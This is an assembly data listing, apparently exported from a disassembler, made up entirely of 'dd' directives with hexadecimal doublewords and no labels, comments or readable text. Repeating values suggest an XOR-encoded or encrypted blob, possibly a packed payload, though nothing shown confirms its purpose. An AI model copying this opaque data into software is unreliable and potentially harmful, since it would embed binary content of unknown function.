		dd 6A78A90Bh, 0F78220F2h, 3244F449h, 0F78149F1h, 0C50CFA0Ah
		dd 201157B4h, 0DE1909F6h, 0B0576B98h, 6EDFEC97h, 0EB88A9D8h
		dd 0FE4A0041h, 0CFBF2F62h, 229744E3h, 90E6B8CEh, 22974BD1h
		dd 7 dup(22974BCEh), 98F880CEh,	0FCBF4BCEh, 685A68D1h
		dd 2309FF0Eh, 43267F66h, 0F7B580C5h, 0D4BC4BB4h, 685A68DFh
		dd 2309FF2Ah, 88AEDFBFh, 13F75649h, 51721373h, 1FC7F818h
		dd 0D314C153h, 44DD9C49h, 2D9E3D2h, 0B8EB6CBEh,	5F3DBF36h
		dd 17E106CEh, 0CF901D9Fh, 908D9D42h, 343F0F0Dh,	7A295BF5h
		dd 0FC35FE19h, 41750290h, 0AEA5FE07h, 619B7A47h, 0AEF85EE7h
		dd 96FCDA47h, 4A3EAC18h, 0CA83F578h, 0B5A9906h,	9331F589h
		dd 0F7AF96CBh, 0DA19C89h, 0E8A3F533h, 2298275Eh, 0AD7283F3h
		dd 4673284Eh, 0D82471DFh, 40064F3Ah, 0EFAA82C8h, 33EC742Bh
		dd 0E109769Dh, 0B93BE45Ch, 0F9C36242h, 7B56550Dh, 0D12EC165h
		dd 0B3A2F488h, 0EF255C9Ah, 71E861A9h, 30B6C969h, 8EA23B1Dh
		dd 3B4751C3h, 0DCBB2B2Bh, 65DF1F19h, 6A11859Fh,	74618867h
		dd 9C27D790h, 0F80E447Eh, 203D9979h, 0A95B3913h, 9772F8BBh
		dd 0DEBA90F2h, 0EF110378h, 0CFFC886Dh, 0E0974BB9h, 1F73FB92h
		dd 70AC14E3h, 14063C2Dh, 74D46F01h, 6E070323h, 0EA0F8492h
		dd 6EBB98DAh, 3F75CBC8h, 0BB2CE49Fh, 391D58E6h,	26EA6CDh
		dd 0AD33804Eh, 0F740970h, 5B6EFD5h, 4315782Ah, 2A996B75h
		dd 98F0E73Ch, 367D33F3h, 6CDF4757h, 47A7F5D4h, 663CDBF2h
		dd 8835C8CDh, 4A840F96h, 54706F23h, 57A81505h, 44E24AD0h
		dd 1F226661h, 0DC96067Dh, 0C423D376h, 8569E907h, 0F2CB8DB0h
		dd 28B9C3FEh, 0B27ADDCAh, 813F0B87h, 0CC662760h, 661527ACh
		dd 974EB979h, 0E162F163h, 463184A2h, 5AA9DD85h,	6790A707h
		dd 7E44CB55h, 0A3AAB9E5h, 1D496B5Fh, 0D069CB55h, 716D93FCh
		dd 6B6EBDA0h, 29043816h, 357D3A94h, 0A4564524h,	7C75D934h
		dd 34195013h, 536B08A7h, 8563E19Dh, 5E247BB0h, 2D180BCFh
		dd 5BCD6D4Dh, 794E6B84h, 0CEC88353h, 0BCD9B5F2h, 6F495E84h
		dd 0D6CD696Dh, 2B3DC571h, 2AE5C9E7h, 52C39941h,	0BB4ECAA0h
		dd 0EF8D3C18h, 5DAA6129h, 18E7E3C7h, 0DE63C990h, 9459E6CCh
		dd 574075A3h, 45AC77AFh, 8E74D607h, 0E7D601Ch, 0ED387330h
		dd 2A8A584h, 9E09AD8Dh,	7A8BCAEAh, 8569D83Eh, 630C1AB0h
		dd 913A0C40h, 83316EF4h, 0FD543EE1h, 5B204471h,	5E256B84h
		dd 976486E1h, 777E9046h, 0C74FE6F0h, 0C19C9BD8h, 0AF6F4849h
		dd 0C9D492F7h, 657D61E9h, 493DEFE2h, 0B807EDBCh, 0E4C7968Fh
		dd 0EB7D61E6h, 9615272Dh, 4E75D36Ah, 0A05B02A3h, 0E268CA6Fh
		dd 832E5013h, 2AF21B0h,	0F3D9664Fh, 0BF0A95A1h,	0CE26CFCAh
		dd 4DA0A2CFh, 0CF03E25Ch, 0E059755Fh, 261B7h, 114453E2h
		dd 0C8EED32Ah, 0F16F26B3h, 0C68391C7h, 7BC69936h, 0F1F5E627h
		dd 3EFDE6E1h, 0B5BD7560h, 783B8CFCh, 7075A3C1h,	46C718CAh
		dd 436CDE7Ah, 0B898D2AEh, 7EA8FEA1h, 7C4D1A74h,	7E84880Bh
		dd 10F9E23Fh, 0BF0E52D4h, 916BA4Ah, 0CB4984A7h,	44AB9CFAh
		dd 0ABEAA536h, 24AB9D3Fh, 67687156h, 0E9DB98C5h, 57E99D1h
		dd 47581318h, 0E8AAA18Fh, 0DBB47118h, 98A70072h, 0EE5B1495h
		dd 0C643761Fh, 9B43F625h, 0A6331DBh, 53F4F8B2h,	0D2B57C4Ah
		dd 548C946Eh, 7DC4298Ah, 7087374Bh, 0EB6921CEh,	279D88ACh
		dd 0FB35C27Eh, 0D57E1497h, 3CB82708h, 0D65F5B4Bh, 9BC7FCE9h
		dd 0D90A3022h, 278EC34Fh, 0AF7BDCC7h, 1B6B08Eh,	26EA5D6h
		dd 4694E956h, 301D58ECh, 0B4E9613Dh, 487B0CE1h,	161B5556h
		dd 35209851h, 0AC76A0C3h, 0CEAE17C2h, 20B356CFh, 3BBCE52Fh
		dd 1FD89DF4h, 2FC36658h, 8D472618h, 88F83009h, 0DBBC7722h
		dd 8D123688h, 0FF106B74h, 8F044593h, 3FA7828Fh,	199369FBh
		dd 0ED643925h, 0ED3B12FCh, 0D9D35FA8h, 39DC9860h, 11C1277Ch
		dd 9F0B022Bh, 2A5B482h,	922C1E08h, 0C5EB8099h, 0B480DD25h
		dd 88341591h, 834B03F9h, 9DCB21B0h, 813F739Ch, 0DD54252h
		dd 2A8C4C2h, 0F44BC442h, 58D25EE7h, 325C5A85h, 41355825h
		dd 91A943EEh, 3EB1FB85h, 0EB23766Dh, 0C1302D88h, 0C8F65638h
		dd 0DE591D74h, 51422A13h, 378A505Ah, 4AD35B1h, 6645ACA1h
		dd 1C082FFh, 0F0098B2Ch, 6BAC0674h, 0B9995CD7h,	26AFBC41h
		dd 0D99538AEh, 26AA9C21h, 0AFF518AEh, 0F58AE23Ch, 0D19F60E2h
		dd 0D259929Bh, 4F8FBEC1h, 22BC7FBBh, 267D3816h,	3AF26461h
		dd 0A2DAF774h, 7E898BDFh, 0E3F42E09h, 85675F20h, 0B3BC21B0h
		dd 3D1411Eh, 8D9D70AAh,	0C73ECDF4h, 1281B8A1h, 3B13237Bh
		dd 9806E3D8h, 8BF932FDh, 8C2E8A11h, 0F225830Ah,	0EA9D569Dh
		dd 0F5154EA5h, 0CDD11FCDh, 0D1277C18h, 0D3CC791Bh, 0D4AE0373h
		dd 862D331Ah, 0E3E621B0h, 85692195h, 49CD1227h,	4DCDFA26h
		dd 8569F88Eh, 4DCEEA25h, 85690549h, 33CDFA25h, 84A84034h
		dd 8CF565F3h, 0C1DCFD17h, 6A3F3D4Dh, 0D9E6D833h, 8387EB93h
		dd 6FC08005h, 0FAC821D3h, 9E589E7Ah, 3F1A7E8Eh,	4CDF9FCh
		dd 77B3FB55h, 0EABA6FDFh, 4CD49FBh, 0A264FB55h,	2EE605F4h
		dd 85692195h, 54CEE9FBh, 31E65D26h, 85692195h, 862D3D4Dh
		dd 87AC21B0h, 0D70E01F4h, 0DD692451h, 0DBA09523h, 0F40649ECh
		dd 0E6643AA3h, 5F555F97h, 868CB991h, 55CE9A56h,	0F10B12A7h
		dd 0A72E99A0h, 5C2E8FD0h, 98391799h, 89375D6Eh,	93E0FE4Fh
		dd 7E32D840h, 0FB3F5F01h, 65F2DFB3h, 0BAB3D19Ah, 6398C331h
		dd 6C5A7611h, 85694DC9h, 0CAEF0BB0h, 9EF974Bh, 0E62C5ECBh
		dd 770AB2D2h, 66BB263Ah, 84FD7DC0h, 0FA1121B0h,	0E56921B0h
		dd 0B649B0F2h, 6A4231BDh, 2C734C2Eh, 7E37EFCEh,	95B6054Bh
		dd 6FBE346Fh, 82D48D64h, 31B0D3B0h, 0EE118C14h,	146921B0h
		dd 4B1E7A90h, 95C3D2A0h, 8569F7FAh, 83AEF0B0h, 7D6921B0h
		dd 5F9E1FCh, 0FDE247D1h, 536C7735h, 2D1141Ch, 0FA31E568h
		dd 6E6C76FCh, 6D1F682Fh, 82266F68h, 2BB0FFF3h, 0E853544Eh
		dd 0E0EFEAD0h, 10A64DD1h, 0E85F3C4Eh, 2C90EAD0h, 9CE6887Ah
		dd 85656E9Ch, 85087ABFh, 4F421B0h, 856921A3h, 99DD804Dh
		dd 0A5F7A340h, 186921B0h, 0A67A717Ah, 0F31AF6DAh, 94A743ACh
		dd 0B0E34FBh, 1D692195h, 397A9E02h, 0B69A5255h,	63A5C28Fh
		dd 0F8376525h, 2BBCBB7Ah, 577D10D9h, 0E9073625h, 0A1ABA2A9h
		dd 0E3B248DFh, 1111ECA3h, 0F16FC252h, 0F23FCD7Bh, 0E3B20F7Bh
		dd 114806A3h, 0C26487D7h, 0E673CAB2h
		dd 59494CA3h, 0EA8FAB5Dh, 5BBDCBA9h, 0CE51439Dh, 0E3ABA456h
		dd 2E484A61h, 0E3B24CA7h, 0A8BAA703h, 0CF9F7940h, 0CF96092Ch
		dd 0E3B24CFAh, 9BB9CFEDh, 0FED80ECEh, 93AEB03h,	9A2064DAh
		dd 9AB4C63Ah, 0E3B2442Dh, 52674CA3h, 0CE513B75h, 82F336B1h
		dd 0E2DC440Eh, 0E676253Ch, 50524CA3h, 9967D267h, 90FF49DBh
		dd 0E34C49DBh, 9F3F4CA3h, 5F8E0D66h, 63AC7DCAh,	64B2F33Fh
		dd 0CE514019h, 503EC04Ch, 7EAC1E11h, 48F91BABh,	3EF7EB51h
		dd 7E08B9D8h, 0E78941ACh, 1D463A27h, 0C140E35h,	641E40Bh
		dd 0DE67B66Dh, 26CF8618h, 7FDADBDEh, 2B185D69h,	0A33DB2BFh
		dd 41C667Ah, 0AADB12ABh, 0A70A5E90h, 0CE1A4DE5h, 2990B535h
		dd 347D628Dh, 456B533Eh, 0F484090Eh, 1CD04166h,	0E1A43BCDh
		dd 0CBDF3D4Ch, 0A3413D27h, 748FFB93h, 0F6AA09AEh, 0F6AAF9A5h
		dd 0A3413D3Ch, 0FD8F03F1h, 29626C9Eh, 0F0CB7CD5h, 83F98EADh
		dd 0A357344Bh, 0A3439503h, 72A13D33h, 9FC90574h, 9FC4365Ah
		dd 9915365Ah, 0B3013D33h, 1E647473h, 0C9B280h, 644E4047h
		dd 0AE453AAAh, 0A4C9742Fh, 0B74E4031h, 7D413D16h, 0F2EE0D2Fh
		dd 43413D2Eh, 60DA7807h, 1C4559BBh, 0B44559BBh,	63413D2Eh
		dd 0E70A77FFh, 6A150A1Ah, 80E8DE7Ch, 5F8E344Bh,	0E1A2453Ah
		dd 0A3413D2Eh, 0CCCB9894h, 0E1A23D00h, 0E1D4E667h, 0A357344Bh
		dd 0A34395EDh, 60A13D33h, 0FC91774h, 9FC4365Bh,	9918365Ah
		dd 72033D33h, 8B776F74h, 0ADA486C1h, 0A34D922Fh, 0FFD03D33h
		dd 27C185A0h, 997EFE13h, 0AE522ACAh, 0A34B922Fh, 0A05D3D33h
		dd 0B0C5E855h, 0FF148177h, 9A410AFEh, 0AB20B2CAh, 0FD81B02Fh
		dd 9DCD075Fh, 600CC240h, 0E3349728h, 50DF58FFh,	41EC2EF6h
		dd 4A1B6F0Eh, 0D8FE14F1h, 3474182Bh, 0CEF15444h, 3E402557h
		dd 1D53F316h, 15805AD6h, 0A7B06287h, 0A1979331h, 8E2FCF45h
		dd 9BA423F3h, 0C29D43C6h, 7D293B43h, 8CBF7AAFh,	15AF539Dh
		dd 537F6287h, 59E14E8Bh, 0FFB4D846h, 28B6E05Ch,	0BEAC6296h
		dd 0D95247B9h, 0C000A586h, 2D2A6289h, 5124FBF6h, 47F0F2Ah
		dd 574959FEh, 5926FF36h, 47F182Eh, 0B422A1FEh, 890C2052h
		dd 0C0738701h, 1C2ABB86h, 0F2B4C079h, 0FB926945h, 0B07F736Ch
		dd 0C08883B9h, 908EDB86h, 67514580h, 15AC628Ah,	98B76B43h
		dd 9DB6DB8Fh, 0E4514580h, 0CC82A553h, 15807780h, 122C6287h
		dd 164A5A03h, 0FE166287h, 1C41F73Fh, 93E87973h,	0B219A77Ah
		dd 0BF332365h, 8E89DB0Ah, 67514B53h, 155365F3h,	0C215DA56h
		dd 18CA9420h, 27AE6D4Ch, 0F83187FBh, 8A8CDF20h,	18452C96h
		dd 65EFFD2Eh, 96D16AE8h, 42E36B4h, 446AAD26h, 57307B3Bh
		dd 0F83178F8h, 0C516A020h, 176DA9Bh, 0F8304F43h, 92145414h
		dd 2FA4778Dh, 0C0F4A7A2h, 0EC37F5B4h, 0F730828Eh, 0F9F9D569h
		dd 990E7720h, 7B7107C7h, 84A2AE94h, 428DBB1Fh, 8CF5E904h
		dd 34D9FC82h, 1EB9F4BBh, 0F8317793h, 398D6A1Fh,	0C3D40Ch
		dd 0C26C793h, 0CF359CD3h, 0E2130804h, 7A8B6F75h, 0A7E4CE4Eh
		dd 0E7E7EB81h, 79307B39h, 18571E4Eh, 40BA4387h,	0C1E75E4Ah
		dd 0E9FE28DBh, 29AC6F75h, 0DF7A7C90h, 8730835Ah, 0F90AFD14h
		dd 0C7317720h, 0F831930Ch, 0F831D420h, 0F167720h, 0D3A3E032h
		dd 0A7BB6522h, 0F21ABA13h, 0F139926Ah, 900304FDh, 6F317720h
		dd 0CD4B37C2h, 7A675D60h, 0F8317783h, 0DFD3F16Fh, 9A46F75h
		dd 0F9BAD5C0h, 32C27721h, 0A9E8A35h, 930FDAA4h,	0DD0A581Ah
		dd 813E52DCh, 0D49F4B66h, 2D4F4EE4h, 0B8CD1C4Eh, 0E2EC9B66h
		dd 0FCFEE7E4h, 3AF3F404h, 6E5419EFh, 0D7E24E22h, 0CE8B76BBh
		dd 3AF3FBBBh, 6ADDAFEFh, 0BA8C6B8h, 0B90BFEB6h,	3A96F3FEh
		dd 3AFECB23h, 23DDF98Dh, 3AF3F9B9h, 8F09D34Fh, 37F2E26Fh
		dd 37EBB26Eh, 3AF3F9EBh, 0BD0ABB31h, 0C106BA4h,	3AF3F0E2h
		dd 3BA1F9EFh, 3BC9512Ch, 0A693F9EFh, 984BDDA5h,	0F778F518h
		dd 3422F518h, 0FD8EF9EFh, 5C8818A5h, 0DA74EDDh,	30CD1C3Fh
		dd 0E2E3E73Ah, 13DF8E4h, 0F5CD1CBBh, 2DFFC4ECh,	0DAF3F9EFh
		dd 0BC913420h, 0B0D2151Fh, 0E4D214F7h, 0EDF3F9EFh, 0CBED3429h
		dd 196D4E8Fh, 501F3945h, 16A47BEDh, 3BA1F0E2h, 3BC95121h
		dd 9193F9EFh, 904BD8A5h, 0F778F517h, 3420F518h,	0C98DF9EFh
		dd 35CE34A5h, 1C433555h, 3AF3F9E5h, 706A03B7h, 0FECFB12Fh
		dd 3AF3F070h, 0DA88CEFh, 0A2CD1CEAh, 0AFFAF65Ah, 3A96043Ah
		dd 10213674h, 299046D7h, 6FEC39E8h, 4E95D894h, 0C6C9BB7Fh
		dd 547A467Dh, 0A985933Dh, 9B3A1EFDh, 91F9B0Eh, 25C51C80h
		dd 0B36E34A6h, 0DBBC850Fh, 5BDC37DEh, 0B972944Eh, 0CD740EB5h
		dd 47A7617Fh, 3FD17AB8h, 56167F36h, 933377D9h, 8BD70FC5h
		dd 43A073E4h, 483A73E5h, 5BD677D9h, 0CF59AFC6h,	10E47DA4h
		dd 0F969CEF5h, 52F7497Ch, 641F0912h, 561377B1h,	1F4D7D9h
		dd 23CE63FCh, 18D8FC05h, 561AE305h, 1FDBDD9h, 9D0C17DFh
		dd 3F3EC19Fh, 3FE4E23Fh, 871377D9h, 48697EF7h, 482C77D9h
		dd 0ED12C44Ah, 0C2418DFCh, 0B8A1042h, 1ADA753Bh, 0C07AFBFBh
		dd 0FCA9161Fh, 3F3E7EA3h, 561A0BCDh, 0CD237727h, 56137711h
		dd 87550FB9h, 7CA7B38Fh, 7CA7B858h, 0EB23000Bh,	0CC658B4Bh
		dd 3E64A331h, 8DBEA622h, 4F3AEBACh, 0EC4D68BBh,	0EB23FB0Bh
		dd 0C927B4DEh, 9E62FFDCh, 0EC4E3D12h, 73B3FB19h, 0EB23FB01h
		dd 0A465A3EBh, 0CF373F7Eh, 0CF373F86h, 0EB2300DCh, 31658B4Bh
		dd 123BE27Eh, 0F04BF525h, 0BC069138h, 0C863E4A6h, 0AEE687B2h
		dd 5063E49Fh, 4BE687ACh, 46B8F75Fh, 30ACD3C4h, 851B05D6h
		dd 5172DCC3h, 57A860EFh, 0B139BE14h, 0CA4B9837h, 63F1BAA3h
		dd 0E4B7D6DEh, 54C01A1Ch, 0A9F1BD82h, 0B5B83098h, 87FAB61Dh
		dd 5A3C3B7Bh, 0CC33683h, 538B1530h, 0DAF89582h,	70C43844h
		dd 55C39EC2h, 504837D1h, 55C33799h, 0B8FBECE3h,	6C9F8A38h
		dd 6C9EF203h, 55C337A6h, 84FBE4C2h, 145294E9h, 36158DFDh
		dd 91F1BEDEh, 0B0B82FB2h, 55167934h, 55C33682h,	4AC3A083h
		dd 55C3375Ah, 0AE81D683h, 0C96BEDCh, 0C7EB5B7h,	55C329B7h
		dd 0AB49F183h, 82F1E45Fh, 8EEB1D17h, 0DAAE87F8h, 70C42C74h
		dd 0FCDA4145h, 588934A1h, 55BC1FF2h, 0B7A33683h, 0B445EB3Eh
		dd 2C2E3397h, 55B93397h, 22783683h, 0DD31435Ah,	699EFF0Ah
		dd 0E60A0B4Ah, 4EB82FB6h, 55C336B8h, 4F18FF9h, 9B4C826h
		dd 5888EE4Fh, 8646A14Ah, 98F434A6h, 0FA280256h,	0E6757FBBh
		dd 6504DD2Eh, 0E2115A45h, 0C7699CCBh, 0B56CFC6h, 0D9E9F53Ch
		dd 7B6FFA1Bh, 21D5AA96h, 83F7E8D3h, 0FFAC0D38h,	23688250h
		dd 0DDC39E45h, 29911773h, 0AA70734Eh, 42DCE99Ch, 0A40E10C4h
		dd 8AD19F55h, 79EAE25Bh, 7181FBCDh, 2C61E9DCh, 3A568C3Ah
		dd 86025947h, 4FE8549Dh, 96BE0977h, 658E870Dh, 0EA52D2CBh
		dd 991B331Ch, 3D49B5F7h, 545C8FABh, 0BFAC7FC5h,	0F3F98EEBh
		dd 0AC14BE27h, 1DAFB1F5h, 67A31BB7h, 0C9AFFDEFh, 0A3EE3468h
		dd 0F3369433h, 0ABE7965Fh, 0B331BDFEh, 6ADE4945h, 0D177AED4h
		dd 0F6E411F4h, 7A75FFB6h, 4735BDFEh, 0B2C5B716h, 0ABBB9156h
		dd 0EAE564FEh, 84A385C7h, 0AC868FB5h, 0AC14C0ACh, 5719B4FEh
		dd 0FD2690B7h, 234F1AA6h, 2504F03Ah, 37544DF5h,	0ABAA961Ah
		dd 5DA9BDFEh, 0C3D03420h, 8BCE3EE9h, 34B30360h,	0C6AA72B7h
		dd 2CBB3631h, 0C6C55FE3h, 1FCB3E31h, 91C609E5h,	23704E7Fh
		dd 0A6EE2EF8h, 5719B525h
		dd 9B10947Dh, 2B11D9BBh, 372C4E01h, 0F5A9A80Fh,	204EFE8Ch
		dd 19C8B21Fh, 0A96A7FBAh, 5281C554h, 0E23772EDh, 4855D05Ch
		dd 0BB2FD79Ch, 2E296417h, 54C9E387h, 204C1BD5h,	6AF8502Ch
		dd 9372B79Dh, 0C96B15ECh, 661FEA82h, 0C901D01Eh, 1593D4D5h
		dd 0F10A8047h, 93D11049h, 1F38A6DFh, 0D0E16792h, 932FD784h
		dd 44E4ADF7h, 641FEBA2h, 0EBA38F28h, 9514E040h,	0ABEFABE6h
		dd 9D4D1E8Dh, 204888CCh, 2994FEA2h, 3B7F7D30h, 0C2314C77h
		dd 2D255D34h, 0CE12006h, 205167DEh, 0A12FD6B0h,	374800ECh
		dd 204EFE6Ah, 147EB00Ah, 2058899Eh, 8B4AFEA2h, 6A107E7Dh
		dd 829358FEh, 4F647A7Ch, 0EE938077h, 5EE18847h,	2FBDFA23h
		dd 824EE141h, 36BF9B18h, 8741776Ch, 3BBFA09Eh, 74E92D67h
		dd 1A15E416h, 0BA2E140Dh, 390659BDh, 0AFF710CEh, 12F710D2h
		dd 0DA2E1412h, 0CC665986h, 2ECEB5Ch, 1A2E1400h,	0E285BFE8h
		dd 23BD57F1h, 0DEAFBEBFh, 0B0490300h, 490CED9Ch, 1AF497FFh
		dd 0A3D9140Dh, 2DF57553h, 30E79348h, 0EA6A1134h, 3EE71415h
		dd 0D9E023F7h, 857F934Dh, 1A2E11FDh, 0CC24140Dh, 1AAF834Ch
		dd 1B081134h, 1A64BCBEh, 464E140Dh, 7AAAEB4Bh, 0F2C33072h
		dd 1A3D3072h, 0D4FB140Dh, 0AE1BE741h, 696A2E9Ah, 0AD91344Eh
		dd 1A2E140Fh, 244523FAh, 77E5A0D6h, 2133A355h, 38EC1134h
		dd 9772AF72h, 0A0074916h, 0A1E92D38h, 7CE1BD56h, 0C499585Ah
		dd 436BFCD8h, 53468EE0h, 0E1070B63h, 8DCA3FD4h,	7A82BBE0h
		dd 765B2D1Eh, 47B91E96h, 3237CC88h, 6A8F6B9Bh, 627DDE0Eh
		dd 0DFA6D6DAh, 8E10C5CFh, 0D95791F5h, 4DFD5C9Dh, 0A65D2A7Bh
		dd 82D149A3h, 0E03117D2h, 0FE133D30h, 419EDA3Eh, 4D56A0DCh
		dd 88721ED8h, 4EAD12E9h, 0DE16E0DEh, 0A7DA9751h, 2F4E5105h
		dd 45FC3917h, 0F868E023h, 40DC8FE5h, 0D6B601Bh,	49E04B0Ch
		dd 83AB9D33h, 0FFADC665h, 1E4D20B2h, 83C336CAh,	0D9CD9365h
		dd 69E5ED8Bh, 0C5365325h, 83A96D86h, 0A35E085Ah, 83AB9365h
		dd 83BF2E5Ah, 53719365h, 24B8D7A5h, 83AB94BAh, 2F850906h
		dd 18D3BCEFh, 4765083Ah, 0DCB80351h, 0C2DB511Fh, 27A28581h
		dd 0DCBBF462h, 270F9137h, 0E35BE9Dh, 8A35DEEBh,	0ED97DB52h
		dd 0CFA4A1F2h, 0AB7B66C7h, 0CFF3D71Eh, 0FA5FBD56h, 83AE1F55h
		dd 0B98B9365h, 83AAAF22h, 5F6F1665h, 0BCBBF470h, 431CC9DFh
		dd 3885FD0Bh, 2708F6C0h, 0F9296659h, 0DB262536h, 24731AD0h
		dd 113699A5h, 86677D55h, 894C1A5Ah, 7C2DB00Ah, 0D2AFF1B0h
		dd 1AE6B7C6h, 0F5F8332Ah, 0F09D3326h, 0A70A8C50h, 8ED2A4F1h
		dd 0B6249378h, 6B904149h, 1AE2642Ch, 1C8DAAE8h,	1AE74442h
		dd 1AD8DF2Ah, 520D442Ah, 92C2405Fh, 0DC8C105Eh,	0BA7543D5h
		dd 0AEA88F55h, 16A64068h, 295D33C7h, 6C062DC7h,	937D3A80h
		dd 0D82DEE40h, 0A8F97EE7h, 0BB64C75Fh, 810388Ah, 0AEB653C0h
		dd 169B1734h, 7E260C5h,	1447C51Ch, 0E1683201h, 1627DBDFh
		dd 0C3EE442Ah, 0B62644AEh, 6E9026F2h, 6E4EC902h, 199AC329h
		dd 0DEA8442Ah, 16A5B861h, 1AE41ABFh, 213BD72Ah,	0FBC9F840h
		dd 0FBBA24ABh, 4FA86D22h, 162ADB7Eh, 2CFC442Ah,	5A4651EDh
		dd 0F0D69814h, 6E71DF3Ah, 50CBE979h, 4936EC35h,	2E2F1D89h
		dd 3D065F29h, 0D648AD7Dh, 0CEE824E5h, 17EF7E9Bh, 0BB74527Dh
		dd 0B9B4F4EDh, 992F2205h, 31291076h, 2D100EFFh,	0C72F1DFFh
		dd 1AEEEABFh, 2E2F1C28h, 0BF3DF3FFh, 0A0D3ED1Bh, 0B763EAEDh
		dd 7DB4F2B1h, 992F2247h, 0A710966Ah, 0D5040F8Eh, 530557F1h
		dd 0B0D1DA03h, 0B763ECB1h, 0B40727F8h, 0B8B21460h, 112F1DFFh
		dd 75814AD8h, 0AC40510Eh, 2E2F1D77h, 2E2A2F44h,	0BFFF20FFh
		dd 9CB4A29Bh, 4A9FD3F1h, 9F5E4297h, 73184932h, 151CA924h
		dd 2C1B5402h, 0B6021DFFh, 2E37511Ah, 0CE5FD1F5h, 4AAA39D6h
		dd 62194FD1h, 0FD8CB124h, 0F1A6163Dh, 62194FF3h, 15CCF2E5h
		dd 0A32F2270h, 13F1D8A9h, 7AAA7C02h, 0BF47A3BCh, 0EA2998AEh
		dd 0EDC79E1Eh, 6D5C8240h, 0A95ED523h, 0DA89DADFh, 8638B196h
		dd 0C234048Ch, 7DFAD393h, 0CCFAD2BFh, 62A0150Ch, 0CC05AB46h
		dd 0CCFAD30Fh, 6ED59093h, 0CCFCF898h, 27BC6E20h, 3FBCD393h
		dd 863997F9h, 943B0A32h, 59701BDFh, 46FEAB75h, 9BED53BAh
		dd 9FCF775h, 282D7818h,	9DDC548Ch, 0C17B6CDFh, 0FAFCF7B7h
		dd 0D66BCF88h, 626A6EE8h, 0B9AA7C75h, 0C26BA1D0h, 4236ABB4h
		dd 86F4D454h, 1536C21Dh, 0CCF80496h, 0CCB48A93h, 0CC5CD393h
		dd 0CCF8046Eh, 0DDB1EA93h, 893BD120h, 8AD76F1Dh, 9FAD38Ch
		dd 0CD3B2DC0h, 0CC0EBB88h, 15DDD393h, 0F8B619C2h, 0A36AB47h
		dd 89EBCC19h, 0C3DD0294h, 73E4A737h, 897BF00Ah,	0C4A56B9Ch
		dd 41EDEDEEh, 892B533Ch, 0F910BD43h, 0A36AB47h,	89EBCCFCh
		dd 7E8EC341h, 0EE5860DEh, 0CCFAD275h, 0CD05F10Ah, 8955EA93h
		dd 0CCFAD23Ch, 6 dup(0CCFAD393h), 7FD3D393h, 4AFAD2E7h
		dd 8ADF31F9h, 497D8ED7h, 345C8046h, 37D3BA9Bh, 355CED06h
		dd 0C0E1684Ah, 0D3541CF0h, 0F3AF39D8h, 1BE0C8D9h, 90371C5Dh
		dd 3AB8872Fh, 0C7D364AFh, 6D3A9BA8h, 4E882598h,	0ABA791DEh
		dd 0A6F0D21h, 0D1CD0407h, 6E73E5D7h, 2C51C2CCh,	9FB0F7BCh
		dd 3894767Ch, 0E99EBEDEh, 8E79CF9Ah, 4A0E25C8h,	0EB72F4E9h
		dd 0B1D9D537h, 0DA0C5BE9h, 3F8C0069h, 522A5D09h, 3D703545h
		dd 86AFCDECh, 31645276h, 4898BE8Eh, 0A7AF97E9h,	0C1F000DDh
		dd 8B8615D1h, 0AC5AE608h, 0B3FDAB23h, 0B0113EE1h, 5CF1CD7h
		dd 0D82C7D7Ch, 91A60069h, 69D96AF4h, 0CA29265Eh, 3995CEB6h
		dd 0CA09EECDh, 0CCFAD285h, 0F8CB8723h, 970F2BC0h, 0E4ECAFh
		dd 32392B1Eh, 115189Fh,	1176DBBFh, 21EBDBC5h, 7742228Fh
		dd 887FA176h, 33B155D5h, 87672525h, 0CF6D55D0h,	286917E2h
		dd 0A6138A7Bh, 0CCFB3C98h, 55EA1893h, 10CE3ED7h, 0C7B9876Fh
		dd 183589B4h, 0D6A68D66h, 78E28A1h, 5F372D98h, 43EEBE30h
		dd 85729173h, 8C4F6D92h, 0F84CFC44h, 0C53AA2A6h, 0C2DC0F7Eh
		dd 79FAD393h, 0D99D9710h, 0F1551DD5h, 0A6CA89F5h, 0D4232250h
		dd 637307Eh, 1B98E5C9h,	646BC4BDh, 0E560515Eh, 593BA953h
		dd 0A52C103Ch, 0BD99993Bh, 4C834FB4h, 97D87Fh, 0EA9DE643h
		dd 4E28949Bh, 0A4AD00DDh, 3DEAECB2h, 0F0F26B52h, 6BC214BFh
		dd 0EF6AF99Bh, 47269FDDh, 0B535393Ah, 0F9D69ACh, 0F655EEDBh
		dd 8BE6BF02h, 92404D16h, 791E2325h, 725DCCBAh, 86373090h
		dd 0E88457F6h, 0BC4868B7h, 0DD89B71Bh, 0C163DCDDh, 14EE31E0h
		dd 146EE7B3h, 9826733h,	65AFE989h, 23EA5CC6h, 8408C4F1h
		dd 61430B5Dh, 8B467B65h, 0B3D6E59Fh, 716230AEh,	7A5A835Eh
		dd 9C31ECB2h, 8CC13B62h, 67B2FAD1h, 98564379h, 9FDC8B7Bh
		dd 0F5C89C9h, 4693E35Ch, 6F989E65h, 82FAD38Ch, 241795C8h
		dd 8073BE2Ch, 0AC37307Eh, 0EC3492D5h, 0A6F0C23h, 7164F1A1h
		dd 166B94A4h, 0C3B812C5h, 9FC1AF01h, 2A0889C9h,	61BC5146h
		dd 0CD05AFF7h, 9C0EDD93h, 0B29BF282h, 72CBEC26h, 1CED871Ch
		dd 0A6F0D0Bh, 6BAECDAh,	0D717A91Ah, 545E9E76h, 8A6DE9DAh
		dd 0C03D9153h, 0DF604DEFh, 0B005D26Ah, 0EE613910h, 1F0D248Bh
		dd 4CF21F52h, 61B651D6h, 8EC13B62h, 0F2DDD247h,	8C603818h
		dd 7CF755B0h, 6C27CAAEh, 0D1B54384h, 0B8145132h, 59C78530h
		dd 0B9BAC6D5h, 0A9C38BC6h, 721A5866h, 1AB1F816h, 3D231172h
		dd 0F22C3087h, 0DC616A46h, 0A2688A76h
		dd 84F7FE80h, 0B98D42E4h, 6395FF0Fh, 24FAD38Ch,	27C13B14h
		dd 0CAC43108h, 0F304CA9Eh, 0FCB16D36h, 60905FA7h, 8343466Ah
		dd 6A90D2D4h, 0EAC99ECDh, 15B22C80h, 41CAFB4Bh,	63C84042h
		dd 21F266D5h, 0BF444090h, 0C9F20A1Bh, 0C70050EAh, 9010F1ADh
		dd 4C853942h, 0ABFBEAEFh, 56CD6A19h, 41712D19h,	4579ADE9h
		dd 3F88E4B5h, 9CA0E7D0h, 7CD64959h, 74A3A121h, 453CF980h
		dd 86CBC7F9h, 699CFCE3h, 69BA8555h, 2DF0C80Ch, 3165537Bh
		dd 36979ADFh, 3B797DE0h, 274CE030h, 0DF354ADAh,	8B4621BFh
